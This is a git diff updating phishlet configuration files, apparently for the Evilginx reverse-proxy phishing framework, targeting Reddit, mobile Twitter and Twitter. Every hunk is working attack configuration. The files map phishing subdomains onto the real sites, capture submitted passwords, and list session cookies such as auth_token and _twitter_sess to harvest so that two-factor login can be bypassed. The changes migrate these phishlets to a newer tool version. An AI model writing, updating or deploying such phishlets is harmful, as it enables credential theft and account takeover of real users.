-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'reddit.com', session: true, is_landing: true}
- {phish_sub: 'win', orig_sub: 'www', domain: 'redditstatic.com', session: false, is_landing: false}
@@ -24,5 +24,6 @@ credentials:
key: 'password'
search: '(.*)'
type: 'post'
-landing_path:
- - '/login'
+login:
+ domain: 'www.reddit.com'
+ path: '/login'
diff --git a/phishlets/twitter-mobile.yaml b/phishlets/twitter-mobile.yaml
index e7e16b31a..7382a5b79 100644
--- a/phishlets/twitter-mobile.yaml
+++ b/phishlets/twitter-mobile.yaml
@@ -1,5 +1,5 @@
author: '@white_fi'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'mobile', orig_sub: 'mobile', domain: 'twitter.com', session: true, is_landing: true}
- {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: true, is_landing: false}
@@ -20,5 +20,6 @@ credentials:
key: 'session\[password\]'
search: '(.*)'
type: 'post'
-landing_path:
- - '/login'
+login:
+ domain: 'mobile.twitter.com'
+ path: '/login'
diff --git a/phishlets/twitter.yaml b/phishlets/twitter.yaml
index 32c93475f..95d5d99ba 100644
--- a/phishlets/twitter.yaml
+++ b/phishlets/twitter.yaml
@@ -1,13 +1,10 @@
author: '@white_fi'
-min_ver: '2.2.0'
+min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'twitter.com', session: true, is_landing: true}
- - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: false, is_landing: false}
- - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com', session: false, is_landing: false}
-sub_filters:
- - {triggers_on: 'twitter.com', orig_sub: '', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
- - {triggers_on: 'abs.twimg.com', orig_sub: 'abs', domain: 'twimg.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
- - {triggers_on: 'api.twitter.com', orig_sub: 'api', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
+ - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com'}
+ - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com'}
+sub_filters: []
auth_tokens:
- domain: '.twitter.com'
keys: ['kdt','_twitter_sess','twid','auth_token']
@@ -20,5 +17,6 @@ credentials:
key: 'session\[password\]'
search: '(.*)'
type: 'post'
-landing_path:
- - '/login'
+login:
+ domain: 'twitter.com'
+ path: '/login'